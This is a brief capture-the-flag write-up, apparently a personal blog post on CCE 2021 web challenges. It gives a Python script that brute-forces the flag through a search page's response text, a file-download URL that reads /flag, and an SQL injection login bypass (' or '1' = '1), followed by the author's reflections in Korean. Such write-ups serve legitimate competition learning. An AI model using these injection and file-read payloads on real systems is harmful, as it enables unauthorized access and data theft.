WEB

Search king

#!/usr/bin/env python
# -*- coding: utf8 -*-

import requests

headers = {'Cookie': 'DNT : 1;'}
url = "<http://20.194.123.134/search>"
string = "1234567890abcdefghijklmnopqrstuvwxyz}"

pw= ""

for i in range (1,100) :
    for j in string :
        query = "?keyword=cce2021{" + pw + j
        r = requests.get(url + query, headers=headers)
        if r.text.find('hey hacker, this is your mission') != -1:
            pw = pw + j
            break

    print ("cce2021{" + pw)

basic web

<http://20.194.121.101/download.php?file=/flag>

baby first

id : ' or '1' = '1
pw : ' or '1' = '1

COMMENT

오늘날의 팀원들과 함께 완전체로 나갈뻔 했던 대회 JJM안옴.

웹 실력을 더 키우고 다른분야도 노력해야겠다.

한 분야에만 치우쳐져 있는건 좋지 못합니다.. 두루두루 다 잘했으면 좋겠다

2021 INCOGNITO CTF

2021 KCTFJr